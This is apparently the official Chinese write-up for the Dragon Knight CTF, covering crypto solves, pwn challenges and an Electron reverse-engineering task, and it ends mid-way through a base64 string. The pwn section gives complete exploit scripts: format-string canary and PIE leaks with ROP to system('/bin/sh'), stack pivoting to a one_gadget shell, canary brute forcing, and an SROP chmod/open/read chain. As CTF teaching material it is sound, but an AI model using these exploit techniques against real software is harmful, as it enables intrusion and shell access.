Dragon Knight CTF官方wp

wwwww

题目复现网站

https://www.qsnctf.com/#/main/driving-range

Crypto

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import gmpy2

output = [5944442525761903973219225838876172353829065175803203250803344015146870499,
141002272698398325287408425994092371191022957387708398440724215884974524650,
42216026849704835847606250691811468183437263898865832489347515649912153042,
67696624031762373831757634064133996220332196053248058707361437259689848885,
19724224939085795542564952999993739673429585489399516522926780014664745253]
t = []
for i in range(1, len(output)):
t.append(output[i] - output[i - 1])

T = []
for i in range(1, len(t) - 1):
T.append(t[i + 1] * t[i - 1] - t[i] ** 2)

m = []
for i in range(len(T) - 1):
mm = gmpy2.gcd(T[i], T[i + 1])
if isPrime(mm):
m.append(int(mm))
else:
for i in range(1, 100):
if isPrime(mm // i):
mm = mm // i
m.append(int(mm))
break

for i in m:
a = gmpy2.invert(t[0], i) * t[1] % i
b = output[1] - a * output[0] % i
a_ = gmpy2.invert(a, i)

seed = a_ * (output[0] - b) % i
for _ in range(2 ** 16):
seed = a_ * (seed - b) % i
flag = long_to_bytes(seed)
if b'flag' in flag:
print(flag)

Matrix_revenge

出这个revenge版主要是希望师傅们学到一般线性群的阶
4阶模p矩阵的阶为
image.png
然后就是和RSA一样的思路
求一个d,满足
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import gmpy2

p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [(354904294318305224658454053059339790915904962123902870614765704810196137, 307912599668649689143528844269686459695648563337814923172488152872006235, 143644686443811064172873392982322248654471792394264352463341325181752577, 22995887787365556743279529792687264972121816670422146768160153217903088), (111349308911096779758451570594323566987628804920420784718347230085486245, 370237591900013263581099395076767089468466012835217658851568690263421449, 305451886364184428434479088589515273362629589399867618474106045683764897, 454103583344277343974714791669312753685583930212748198341578178464249150), (168497521640129742759262423369385500102664740971338844248603058993335309, 228941893018899960301839898935872289351667488000643221589230804176281482, 340080333594340128998141220817079770261711483018587969623825086357581002, 122922413789905368029659916865893297311475500951645918611759627764993518), (10332477229415731242316540110058798318207430965033579181240340751539101, 238172263316130590821973648893483382211906906298557131324791759298887701, 487586702165464601760230182019344052665496627253691596871783460314632260, 12238020921585443139790088280608644406695242899000592355653073240122626)]
e = 65537
n = p * q

phip = (p-1)*(p+1)*(p^2+p+1)*p*(p^2+1)
phiq = (q-1)*(q+1)*(q^2+q+1)*q*(q^2+1)

d = gmpy2.invert(e,phip*phiq)

C = Matrix(Zmod(n),C)

M = C ** d

flag = b""
for i in range(4):
for j in range(4):
m = int(M[i,j])
flag += long_to_bytes(m)

print(flag)
# DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}

EzDES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from secret import flag,key

key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)

enc = des.encrypt(pad(flag,64))

print(enc)

"""
b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
"""

根据题目描述,从密钥入手,这道题主要想让师傅们了解到DES的弱密钥。
网上随便找个弱密钥就可以解了
exp.py

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import DES

key = "0101010101010101"
key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)

c = b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
flag = des.decrypt(c)
print(flag)
# DRKCTF{We4k_K3y_1s_V3ry_D4nger0us_In_DES}

MidRSA

part1

由题意知
image.png
我们取两个不同的i,j
image.png
于是有
image.png
取两组这样的值,然后求公因数即可得到n
得到n之后右移300位即可得到前半部分的flag

part2

利用共模攻击的思路,设存在x,y,使得下式成立
image.png
我们便有
image.png
这里gcd(e1,e2) != 1
我们需要再进行一次共模攻击
假设存在s,t,使得下式成立
image.png

image.png
则有
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
import gmpy2

def decrypt1(c,e):
knlist = []
for i in range(len(c)):
for j in range(len(c)):
if i!=j:
knlist.append(c[i]**e[j] - c[j]**e[i])

for i in range(len(knlist)):
for j in range(len(knlist)):
if i!=j:
kn = gmpy2.gcd(knlist[i],knlist[j])
if kn != 1:
n = kn
flag1 = long_to_bytes(n >> 300)
if b"DRKCTF" in flag1:
return flag1

def decrypt2(c,e,n):
def decode(e1,e2,c1,c2):
s,x,y = gmpy2.gcdext(e1,e2)
res = pow(c1,x,n) * pow(c2,y,n) % n
return res

res1 = decode(e[0],e[1],c[0],c[1])
res2 = decode(e[2],gmpy2.gcd(e[0],e[1]),c[2],res1)
flag2 = long_to_bytes(res2)
return flag2

e1 = [109, 71, 109, 73]
cipher1 = [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
e2 = [79572758141493570128961125255246129069540961757778793209698370333142346488381, 80555585862127636800866563977080055603517001358195529410497461746213789997225, 44651921320695090688745333790065512192118202496468714141526113242887125432380]
cipher2 = [58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057, 16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337, 80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
flag1 = decrypt1(cipher1,e1)
flag2 = decrypt2(cipher2,e2,n)
flag = flag1 + flag2
print(flag)

# DRKCTF{5d0b96e8-e069-4378-82e7-120e4b761a0b}

Myencrypt

求解P

1
2
3
4
5
6
7
def getMyPrime():              
while True:
r = random.getrandbits(64)
_p = r**6 -3*r**5 - r**4 + r**2 - r - 6
_q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
if isPrime(_p) and isPrime(_q):
return _p, _q

由题目可知,根据p,q的特殊性,我们可以把n写成关于r的式子,即
image.png
我们直接对n开13次方,得到的值记为temp,这个temp与实际上的r相差不大(这一点可以自己生成数据进行验证)。
在得到tmp之后,我们采取爆破的方式求解r,有了r就很容易求出p,q,然后再进行RSA求解得到LCG的模,也就是P

求解flag

上一步得到P之后,题目接下来的加密就是LCG的过程,只不过给出的状态值不全,而是模了2^{16}之后的值。此时我们需要进行推导

image.png
拆成高低位来写,则有
image.png
其中H,L代表当前状态的高低位,化简得
image.png
于是有
image.png
image.png

image.png
将常数记为B
写到这里是为了后面更好理解B_i如何计算
回到题目,简单来写就是
image.png
也就是
image.png
构造格
image.png
约后我们可以得到H_1,即可求得
image.png
再求解seed
image.png
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Util.number import *
import gmpy2

n = 17959692613208124553115435318871530105762927141420294800783695207170608966804977782615874404539156257549097962410144332053383210075663138848832474791712256427111304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P = 17215745298239635988196009014709535403293865406390546681749129213899045156482782458937447412919331336842808052179915132663427715069134196783415529688715962754860563850858056507148936427379551986735103284388996678146580229028006898491552
a = 2759277675743644814124420138047586760905070650864591936190199977578763421196999718749092450720072564786874114432179104175692800471519816376692104515142375
b = 8111240578821759579875175166986910195923820191652867334412871591814076020421468033017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906, 35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134, 50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853, 43446, 35910, 43728, 61533, 13757]

def get_P(n,c):
r = gmpy2.iroot(n,13)[0]
for i in range(10000):
p = r**6 -3*r**5 - r**4 + r**2 - r - 6
q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
r = r+1
if isPrime(p) and isPrime(q) and n==p*q:
q = n // p
d = gmpy2.invert(65537,(p-1)*(q-1))
P = pow(c,d,n)
# print(P)
return int(P)

P = get_P(n,enc_P)

L = [0] + out
n = len(out)
A = [1]
B = [0]
for i in range(1,n):
A.append(a*A[i-1] % P)
B.append((a*B[i-1] + (a*L[i]+b-L[i+1])*gmpy2.invert(2^16,P))%P)

A = A[1:]
B = B[1:]

Ge = Matrix(ZZ,n+1,n+1)
for i in range(len(A)):
Ge[i,i] = P
Ge[-2,i] = A[i]
Ge[-1,i] = B[i]

Ge[-2,-2] = 1
Ge[-1,-1] = P // 2^16

M = Ge.LLL()[0]
H1 = M[-2]
L1 = out[0]
seed1 = H1 * 2^16 + L1

seed = ((seed1 - b)*gmpy2.invert(a,P))%P
print(long_to_bytes(int(seed)))
# DRKCTF{a57b63a6-ecf5-46d3-a501-2d359a4fd168}

希望师傅们能有所收获。另外夹带一点私货,师傅们可以关注下我的博客
https://dexterjie.github.io

PWN

ez_quiz

题目开了PIE和Canary保护:
image.png
先本地运行附件,观察逻辑,首先需要在2s内输入token:
image.png
分析代码,题目先将输入字符串在encode函数先异或0xff再进行base32加密处理,并将处理后的字符串和“XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC”比较:
image.png
此处可以打断点动态调试看内存的token,也可以直接用Cyberchef解密得到token:DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}
image.png
使用eval()计算式子:
image.png
根据token提示,存在格式化字符串漏洞:
image.png
pwndbg调试发现Canary 在 Stack 上的地址为第0xd位,将Stack第0xa位地址-0x2042得到基址
image.png
程序存在pop rdi
image.png
通过格式化字符串泄露Canary和PIE后可写rop链执行 system(“/bin/sh”);
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

# p = remote("ip",port)
p = process('./attachment')
e = context.binary = ELF("./attachment")
context.update(arch='amd64', os='linux', log_level='debug')

p.recvuntil(b'token:')
payload = str('DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}')
p.sendline(payload)

p.recvline()
p.sendline(str(eval(p.recvline().decode().strip().split('=')[0].strip())))

p.recvuntil(b'gift:\n')
p.sendline(b'%13$p|%11$p|')

e.address = int(p.recvuntil(b'|').strip(b'|'), 16) - 0x2042
canary = int(p.recvuntil(b'|').strip(b'|'), 16)
log.info(f'PIE: {hex(e.address)}')
log.info(f'Canary: {hex(canary)}')

bin_sh = e.address + 0x3041
pop_rdi = e.address + 0x0000000000002072
payload = b'A' * 40
payload += p64(canary) + p64(0)
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(e.plt['system'])
p.sendline(payload)
p.interactive()

stack

其实就是一个栈迁移,但是栈迁移一次无法达到我们控制栈上栈顶数据的作用,需要栈迁移两次,再搞个ROP就行。或者ogg直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def exploit():
li('exploit...')
bss_addr =0x0000000000404040+0x400
read_addr = 0x00000000040119B
pop_rdi_ret = 0x0000000000401210
libc_pop_rdx_ret = 0x0000000000142c92
libc_pop_rsi_ret = 0x000000000002601f
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x000000000401176
pl = "A"*0x100+p64(bss_addr)+p64(read_addr) #栈溢出
db()
sa("Hello, CTFer, do you know how to stack pivoting?\n",pl)
pl2 = "A"*(0x100)+p64(bss_addr+0x100)+p64(read_addr) #存放在bss_addr-0x100
s(pl2)
pl3 = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)#存放在bss_addr-0x100
s(pl3)
base_addr = uu64()-libc.symbols["puts"]
system_addr = base_addr+libc.symbols["system"]
li("base_addrr ---------------> 0x%x"%base_addr)
li("system_addr -------------> 0x%x"%system_addr)

pl = "A"*0x100+p64(bss_addr)+p64(read_addr) #栈溢出
sa("Hello, CTFer, do you know how to stack pivoting?\n",pl)
pl2 = "A"*(0x100)+p64(bss_addr+0x100)+p64(read_addr) #存放在bss_addr-0x100
s(pl2)
#pl4 = p64(0)+p64(ret)+p64(pop_rdi_ret)+p64(base_addr-0x100)+p64(system_addr)#存放在bss_addr-0x100
pl4 = p64(0)+p64(libc_pop_rdx_ret+base_addr)+p64(0)+p64(libc_pop_rsi_ret+base_addr)+p64(0)+p64(0xe3b04+base_addr)
s(pl4)

**Canary **

fork函数存在,于是可以爆破cnanry,爆破完后写一个orw就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#elf = ELF("./pwn1")
elf = ELF("./dockerfile/bin/pwn1")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
#p = remote('121.196.193.233',49188)
pause()
canary = b'\x00'
while len(canary) < 8:
info(len(canary))
for c in range(0x100):
p.sendafter("please input:\n", b"a" * 0x108 + canary + p8(c))
# pause()
if not p.recvline_contains('stack smashing detected', timeout=1):
canary += p8(c)
break
canary = u64(canary)
success("canary: " + hex(canary))

payload = b''
payload += b'a'* 0x108 + p64(canary)
payload += b'b' * 8
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x00000000004493d7) # pop rax ; ret
payload += b'/bin//sh'
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
payload += p64(0x00000000004018c2) # pop rdi ; ret
payload += p64(0x00000000004c10e0) # @ .data
payload += p64(0x000000000040f23e) # pop rsi ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004017cf) # pop rdx ; ret
payload += p64(0x00000000004c10e8) # @ .data + 8
payload += p64(0x00000000004437a0) # xor rax, rax ; ret
payload += p64(next(elf.search(asm('pop rax;ret'),executable = True)))
payload += p64(59)
payload += p64(next(elf.search(asm('syscall'),executable=True)))
#pause()
p.sendafter("please input:\n",payload)
p.interactive()

seccomp

flag文件是没有read权限的,srop要先调用chmod改flag文件权限,再orw输出flag文件内容
srop的frame直接写到bss段
payload2的作用是栈迁移到bss段启动srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwn import*
context(arch='amd64',os='Linux',log_level='debug')
#p=remote('47.108.206.43',26920)#47.108.206.43:20624
p=remote('121.196.193.233',49183)
#p=process('/home/kali/Desktop/my_chall/srop_seccomp/dockerfile/bin/chall')
elf = ELF('/home/kali/Desktop/my_chall/srop_seccomp/dockerfile/bin/chall')
rop = ROP(elf)
input("[PAUSE]")
#gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186 #full function
#rsi
data_addr = 0x404000
bss_addr = 0x404060
#init frame
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x30
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x30
frame_write.rip = syscall_addr
#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send('./flag\x00'.ljust(0x5a,'\x00'))
p.interactive()

Resverse

elec_go

image.png
一个普通的electron程序
主程序都被封装到了resources/app.asar里
进入resources目录 解包

1
PS D:\Electron\elec_go\elec_go-win32-x64\resources> asar extract .\app.asar ./tmp

src里是主要程序 node_modules只是一些包
image.png
index.js 中是主程序,preload.js是浏览器预先加载的一些脚本,renderer.js是用于建立主程序与浏览器通信的设置

1
2
3
4
5
6
7
Mode                 LastWriteTime         Length Name
---- ------------- ------ ----
-a--- 2024/5/26 20:17 377 index.css
-a--- 2024/5/26 20:17 385 index.html
-a--- 2024/5/26 20:17 8785 index.js
-a--- 2024/5/26 20:17 7597 preload.js
-a--- 2024/5/26 20:17 136 renderer.js

第一种做法
如果纯逆的话,步骤如下
1.查看preload.js
2.用node运行下面的js脚本

1
2
3
const escodegen=require("escodegen")
const escodegen=require("escodegen")
console.log(escodegen.generate(JSON.parse(Buffer('eyJ0eXBlIjoiUHJvZ3JhbSIsInN0YXJ0IjowLCJlbmQiOjI0MCwiYm9keSI6W3sidHlwZSI6IkV4cHJlc3Npb25TdGF0ZW1lbnQiLCJzdGFydCI6MCwiZW5kIjoyNDAsImV4cHJlc3Npb24iOnsidHlwZSI6IkFycm93RnVuY3Rpb25FeHByZXNzaW9uIiwic3RhcnQiOjAsImVuZCI6MjQwLCJpZCI6bnVsbCwiZXhwcmVzc2lvbiI6ZmFsc2UsImdlbmVyYXRvciI6ZmFsc2UsImFzeW5jIjpmYWxzZSwicGFyYW1zIjpbXSwiYm9keSI6eyJ0eXBlIjoiQmxvY2tTdGF0ZW1lbnQiLCJzdGFydCI6NCwiZW5kIjoyNDAsImJvZHkiOlt7InR5cGUiOiJWYXJpYWJsZURlY2xhcmF0aW9uIiwic3RhcnQiOjksImVuZCI6MzcsImRlY2xhcmF0aW9ucyI6W3sidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRvciIsInN0YXJ0IjoxNSwiZW5kIjozNywiaWQiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTUsImVuZCI6MjAsIm5hbWUiOiJrb2ZmaSJ9LCJpbml0Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoyMSwiZW5kIjozNywiY2FsbGVlIjp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjIxLCJlbmQiOjI4LCJuYW1lIjoicmVxdWlyZSJ9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjI5LCJlbmQiOjM2LCJ2YWx1ZSI6ImtvZmZpIiwicmF3IjoiXCJrb2ZmaVwiIn1dLCJvcHRpb25hbCI6ZmFsc2V9fV0sImtpbmQiOiJjb25zdCJ9LHsidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRpb24iLCJzdGFydCI6NDEsImVuZCI6NzQsImRlY2xhcmF0aW9ucyI6W3sidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRvciIsInN0YXJ0Ijo0NywiZW5kIjo3NCwiaWQiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6NDcsImVuZCI6NTAsIm5hbWUiOiJsaWIifSwiaW5pdCI6eyJ0eXBlIjoiQ2FsbEV4cHJlc3Npb24iLCJzdGFydCI6NTEsImVuZCI6NzQsImNhbGxlZSI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0Ijo1MSwiZW5kIjo2MSwib2JqZWN0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjUxLCJlbmQiOjU2LCJuYW1lIjoia29mZmkifSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6NTcsImVuZCI6NjEsIm5hbWUiOiJsb2FkIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwiYXJndW1lbnRzIjpbeyJ0eXBlIjoiTGl0ZXJhbCIsInN0YXJ0Ijo2MiwiZW5kIjo3MywidmFsdWUiOiJteWRsbC5kbGwiLCJyYXciOiJcIm15ZGxsLmRsbFwiIn1dLCJvcHRpb25hbCI6ZmFsc2V9fV0sImtpbmQiOiJjb25zdCJ9LHsidHlwZSI6IlZhcmlhYmxlRGVjbGFyYXRpb24iLCJzdGFydCI6NzgsImVuZCI6MTI2LCJkZWNsYXJhdGlvbnMiOlt7InR5cGUiOiJWYXJpYWJsZURlY2xhcmF0b3IiLCJzdGFydCI6ODQsImVuZCI6MTI2LCJpZCI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo4NCwiZW5kIjo4OCwibmFtZSI6ImZ1bmMifSwiaW5pdCI6eyJ0eXBlIjoiQ2FsbEV4cHJlc3Npb24iLCJzdGFydCI6ODksImVuZCI6MTI2LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6ODksImVuZCI6OTcsIm9iamVjdCI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo4OSwiZW5kIjo5MiwibmFtZSI6ImxpYiJ9LCJwcm9wZXJ0eSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0Ijo5MywiZW5kIjo5NywibmFtZSI6ImZ1bmMifSwiY29tcHV0ZWQiOmZhbHNlLCJvcHRpb25hbCI6ZmFsc2V9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjk4LCJlbmQiOjEyNSwidmFsdWUiOiJjaGFyKiBPdXRwdXQoY2hhciogaW5wdXQpIiwicmF3IjoiXCJjaGFyKiBPdXRwdXQoY2hhciogaW5wdXQpXCIifV0sIm9wdGlvbmFsIjpmYWxzZX19XSwia2luZCI6ImNvbnN0In0seyJ0eXBlIjoiRXhwcmVzc2lvblN0YXRlbWVudCIsInN0YXJ0IjoxMzAsImVuZCI6MTM2LCJleHByZXNzaW9uIjp7InR5cGUiOiJBc3NpZ25tZW50RXhwcmVzc2lvbiIsInN0YXJ0IjoxMzAsImVuZCI6MTM2LCJvcGVyYXRvciI6Ij0iLCJsZWZ0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjEzMCwiZW5kIjoxMzMsIm5hbWUiOiJ0bXAifSwicmlnaHQiOnsidHlwZSI6Ik9iamVjdEV4cHJlc3Npb24iLCJzdGFydCI6MTM0LCJlbmQiOjEzNiwicHJvcGVydGllcyI6W119fX0seyJ0eXBlIjoiRXhwcmVzc2lvblN0YXRlbWVudCIsInN0YXJ0IjoxNDAsImVuZCI6MjM4LCJleHByZXNzaW9uIjp7InR5cGUiOiJBc3NpZ25tZW50RXhwcmVzc2lvbiIsInN0YXJ0IjoxNDAsImVuZCI6MjM4LCJvcGVyYXRvciI6Ij0iLCJsZWZ0Ijp7InR5cGUiOiJNZW1iZXJFeHByZXNzaW9uIiwic3RhcnQiOjE0MCwiZW5kIjoxNjIsIm9iamVjdCI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0IjoxNDAsImVuZCI6MTUzLCJvYmplY3QiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTQwLCJlbmQiOjE0MywibmFtZSI6InRtcCJ9LCJwcm9wZXJ0eSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0IjoxNDQsImVuZCI6MTUzLCJuYW1lIjoiX19wcm90b19fIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MTU0LCJlbmQiOjE2MiwibmFtZSI6InRvU3RyaW5nIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwicmlnaHQiOnsidHlwZSI6IkFycm93RnVuY3Rpb25FeHByZXNzaW9uIiwic3RhcnQiOjE2MywiZW5kIjoyMzgsImlkIjpudWxsLCJleHByZXNzaW9uIjpmYWxzZSwiZ2VuZXJhdG9yIjpmYWxzZSwiYXN5bmMiOmZhbHNlLCJwYXJhbXMiOltdLCJib2R5Ijp7InR5cGUiOiJCbG9ja1N0YXRlbWVudCIsInN0YXJ0IjoxNjcsImVuZCI6MjM4LCJib2R5IjpbeyJ0eXBlIjoiUmV0dXJuU3RhdGVtZW50Iiwic3RhcnQiOjE2OCwiZW5kIjoyMzcsImFyZ3VtZW50Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoxNzUsImVuZCI6MjM3LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6MTc1LCJlbmQiOjIzMSwib2JqZWN0Ijp7InR5cGUiOiJBcnJheUV4cHJlc3Npb24iLCJzdGFydCI6MTc1LCJlbmQiOjIyNSwiZWxlbWVudHMiOlt7InR5cGUiOiJTcHJlYWRFbGVtZW50Iiwic3RhcnQiOjE3NiwiZW5kIjoyMjQsImFyZ3VtZW50Ijp7InR5cGUiOiJDYWxsRXhwcmVzc2lvbiIsInN0YXJ0IjoxNzksImVuZCI6MjI0LCJjYWxsZWUiOnsidHlwZSI6Ik1lbWJlckV4cHJlc3Npb24iLCJzdGFydCI6MTc5LCJlbmQiOjE4OSwib2JqZWN0Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjE3OSwiZW5kIjoxODMsIm5hbWUiOiJKU09OIn0sInByb3BlcnR5Ijp7InR5cGUiOiJJZGVudGlmaWVyIiwic3RhcnQiOjE4NCwiZW5kIjoxODksIm5hbWUiOiJwYXJzZSJ9LCJjb21wdXRlZCI6ZmFsc2UsIm9wdGlvbmFsIjpmYWxzZX0sImFyZ3VtZW50cyI6W3sidHlwZSI6IkNhbGxFeHByZXNzaW9uIiwic3RhcnQiOjE5MCwiZW5kIjoyMjMsImNhbGxlZSI6eyJ0eXBlIjoiTWVtYmVyRXhwcmVzc2lvbiIsInN0YXJ0IjoxOTAsImVuZCI6MjEyLCJvYmplY3QiOnsidHlwZSI6IkNhbGxFeHByZXNzaW9uIiwic3RhcnQiOjE5MCwiZW5kIjoyMDQsImNhbGxlZSI6eyJ0eXBlIjoiSWRlbnRpZmllciIsInN0YXJ0IjoxOTAsImVuZCI6MTk0LCJuYW1lIjoiZnVuYyJ9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjE5NSwiZW5kIjoyMDMsI